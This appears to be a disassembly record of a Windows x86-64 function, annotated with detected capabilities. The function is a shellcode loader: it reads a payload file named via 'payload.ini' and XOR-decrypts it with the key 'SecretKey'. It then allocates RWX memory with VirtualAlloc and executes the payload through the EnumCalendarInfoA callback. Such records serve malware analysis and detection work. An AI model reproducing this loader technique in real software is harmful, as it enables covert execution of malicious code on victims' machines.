Function at 0x1400014c1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x440], ecx
mov qword [rbp + 0x448], rdx
call sym.__main
lea rax, [rbp + 0x3df]
mov rcx, rax
call fcn.140001aa8
lea rdx, [rbp + 0x3df]
lea rax, [rbp + 0x3b0]
mov r8, rdx
lea rdx, str.payload.ini
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp + 0x3b0]
lea rax, [rbp + 0x1d0]
mov r8d, 8
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1d0]
add rax, 0xd0
mov rcx, rax
call sym.std::basic_ios_char__std::char_traits_char___::operator____const
test al, al
je 0x14000159e
lea rax, str.open_config_file_error:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x3b0]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x140005430]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x140001853
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.140001a18
lea rdx, [rbp + 0x1b0]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::basic_istream_char__std::char_traits_char____std::getline_char__std::char_traits_char___std::allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::close__
lea rdx, [rbp + 0x1b0]
lea rax, [rbp - 0x30]
mov r8d, 4
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x30]
add rax, 0xd0
mov rcx, rax
call sym.std::basic_ios_char__std::char_traits_char___::operator____const
test al, al
je 0x140001648
lea rax, str.open_encrypted_file_error:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x1b0]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x140005430]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x140001838
lea rax, [rbp - 0x30]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.std::istream::seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp + 0x3e0]
lea rdx, [rbp - 0x30]
mov rcx, rax
call sym.std::istream::tellg__
lea rax, [rbp + 0x3e0]
mov rcx, rax
call method.std::fpos_int_.operator_long_long___const
mov qword [rbp + 0x418], rax
lea rax, [rbp - 0x30]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.std::istream::seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp + 0x3ff]
mov rcx, rax
call fcn.140002e50
lea rcx, [rbp + 0x3ff]
mov rdx, qword [rbp + 0x418]
lea rax, [rbp - 0x50]
mov r8, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_unsigned_long_long__std::allocator_unsigned_char__const_
lea rax, [rbp + 0x3ff]
mov rcx, rax
call sym.std::allocator_unsigned_char_::allocator__
mov rbx, qword [rbp + 0x418]
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
lea rax, [rbp - 0x30]
mov r8, rbx
mov rcx, rax
call sym.std::istream::read_char__long_long_
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::close__
movabs rax, 0x654b746572636553
mov qword [rbp - 0x5a], rax
mov word [rbp - 0x52], 0x79
mov qword [rbp + 0x410], 9
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rcx, rax
mov r8, qword [rbp + 0x410]
lea rdx, [rbp - 0x5a]
mov rax, qword [rbp + 0x418]
mov r9, r8
mov r8, rdx
mov rdx, rax
call sym.xor_decrypt_unsigned_char__unsigned_long_long__unsigned_char_const__unsigned_long_long_
mov rax, qword [rbp + 0x418]
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x408], rax
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.end__
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.begin__
mov rdx, qword [rbp + 0x408]
mov r8, rdx
mov rdx, rbx
mov rcx, rax
call method.unsigned_char_std::copy___gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std.allocator_unsigned_char_______unsigned_char____gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char_
mov rax, qword [rbp + 0x418]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x400], rax
mov rcx, qword [rbp + 0x418]
mov rdx, qword [rbp + 0x408]
mov rax, qword [rbp + 0x400]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x400]
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call rax
cmp qword [rbp + 0x408], 0
je 0x140001827
mov rax, qword [rbp + 0x408]
mov rcx, rax
call sym.operator_delete___void_
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140001910
add rsp, 0x4a8
pop rbx
pop rbp
ret